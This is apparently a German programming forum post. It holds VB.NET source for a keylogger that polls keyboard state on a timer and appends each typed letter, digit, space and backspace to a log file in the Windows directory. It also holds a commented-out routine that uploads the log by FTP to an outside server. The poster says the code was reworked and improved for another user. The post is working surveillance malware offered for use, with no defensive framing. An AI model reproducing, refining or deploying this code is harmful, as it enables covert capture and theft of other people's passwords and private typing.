Code:
Public Class Form1
Declare Function GetAsyncKeyState Lib _
"user32.dll" (ByVal nVirtKey As Keys) As Short
Dim DateiPfad As String = Environment.GetEnvironmentVariable("windir") & "\log.txt"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
Timer1.Start()
'Dim Ftp As String = "*******.ohost.de"
'Dim Name As String = "Password.txt"
'Dim User As String = "*********"
'Dim Password As String = "*********"
'My.Computer.Network.UploadFile(DateiPfad, "ftp://" & Ftp & "/" & Name, User, Password)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
SchreibeZeile(DateiPfad, "a", True)
End If
If GetAsyncKeyState(Keys.B) = -32767 Then
SchreibeZeile(DateiPfad, "b", True)
End If
If GetAsyncKeyState(Keys.C) = -32767 Then
SchreibeZeile(DateiPfad, "c", True)
End If
If GetAsyncKeyState(Keys.D) = -32767 Then
SchreibeZeile(DateiPfad, "d", True)
End If
If GetAsyncKeyState(Keys.E) = -32767 Then
SchreibeZeile(DateiPfad, "e", True)
End If
If GetAsyncKeyState(Keys.F) = -32767 Then
SchreibeZeile(DateiPfad, "f", True)
End If
If GetAsyncKeyState(Keys.G) = -32767 Then
SchreibeZeile(DateiPfad, "g", True)
End If
If GetAsyncKeyState(Keys.H) = -32767 Then
SchreibeZeile(DateiPfad, "h", True)
End If
If GetAsyncKeyState(Keys.I) = -32767 Then
SchreibeZeile(DateiPfad, "i", True)
End If
If GetAsyncKeyState(Keys.J) = -32767 Then
SchreibeZeile(DateiPfad, "j", True)
End If
If GetAsyncKeyState(Keys.K) = -32767 Then
SchreibeZeile(DateiPfad, "k", True)
End If
If GetAsyncKeyState(Keys.L) = -32767 Then
SchreibeZeile(DateiPfad, "l", True)
End If
If GetAsyncKeyState(Keys.M) = -32767 Then
SchreibeZeile(DateiPfad, "m", True)
End If
If GetAsyncKeyState(Keys.N) = -32767 Then
SchreibeZeile(DateiPfad, "n", True)
End If
If GetAsyncKeyState(Keys.O) = -32767 Then
SchreibeZeile(DateiPfad, "o", True)
End If
If GetAsyncKeyState(Keys.P) = -32767 Then
SchreibeZeile(DateiPfad, "p", True)
End If
If GetAsyncKeyState(Keys.Q) = -32767 Then
SchreibeZeile(DateiPfad, "q", True)
End If
If GetAsyncKeyState(Keys.R) = -32767 Then
SchreibeZeile(DateiPfad, "r", True)
End If
If GetAsyncKeyState(Keys.S) = -32767 Then
SchreibeZeile(DateiPfad, "s", True)
End If
If GetAsyncKeyState(Keys.T) = -32767 Then
SchreibeZeile(DateiPfad, "t", True)
End If
If GetAsyncKeyState(Keys.U) = -32767 Then
SchreibeZeile(DateiPfad, "u", True)
End If
If GetAsyncKeyState(Keys.V) = -32767 Then
SchreibeZeile(DateiPfad, "v", True)
End If
If GetAsyncKeyState(Keys.W) = -32767 Then
SchreibeZeile(DateiPfad, "w", True)
End If
If GetAsyncKeyState(Keys.X) = -32767 Then
SchreibeZeile(DateiPfad, "X", True)
End If
If GetAsyncKeyState(Keys.Y) = -32767 Then
SchreibeZeile(DateiPfad, "Y", True)
End If
If GetAsyncKeyState(Keys.Z) = -32767 Then
SchreibeZeile(DateiPfad, "Z", True)
End If
If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
SchreibeZeile(DateiPfad, "1", True)
End If
If GetAsyncKeyState(Keys.NumPad2) = -32767 Then
SchreibeZeile(DateiPfad, "2", True)
End If
If GetAsyncKeyState(Keys.NumPad3) = -32767 Then
SchreibeZeile(DateiPfad, "3", True)
End If
If GetAsyncKeyState(Keys.NumPad4) = -32767 Then
SchreibeZeile(DateiPfad, "4", True)
End If
If GetAsyncKeyState(Keys.NumPad5) = -32767 Then
SchreibeZeile(DateiPfad, "5", True)
End If
If GetAsyncKeyState(Keys.NumPad6) = -32767 Then
SchreibeZeile(DateiPfad, "6", True)
End If
If GetAsyncKeyState(Keys.NumPad7) = -32767 Then
SchreibeZeile(DateiPfad, "7", True)
End If
If GetAsyncKeyState(Keys.NumPad8) = -32767 Then
SchreibeZeile(DateiPfad, "8", True)
End If
If GetAsyncKeyState(Keys.NumPad9) = -32767 Then
SchreibeZeile(DateiPfad, "9", True)
End If
If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
SchreibeZeile(DateiPfad, "0", True)
End If
If GetAsyncKeyState(Keys.Back) = -32767 Then
SchreibeZeile(DateiPfad, "Weggemacht", True)
End If
If GetAsyncKeyState(Keys.Space) = -32767 Then
SchreibeZeile(DateiPfad, " ", True)
End If
If GetAsyncKeyState(Keys.Enter) = -32767 Then
SchreibeZeile(DateiPfad, "<br />", True)
End If
End Sub
Private Sub SchreibeZeile(ByVal Pfad As String, ByVal Daten As String, ByVal append As Boolean)
Dim sw As New System.IO.StreamWriter(Pfad, append)
If Daten = "<br />" Then
sw.Write(ControlChars.CrLf)
Else
sw.Write(Daten)
sw.Flush()
End If
sw.Flush()
sw.Close()
End Sub
End Class
Also ich habe deinen Code mal überarbeitet und etwas verbessert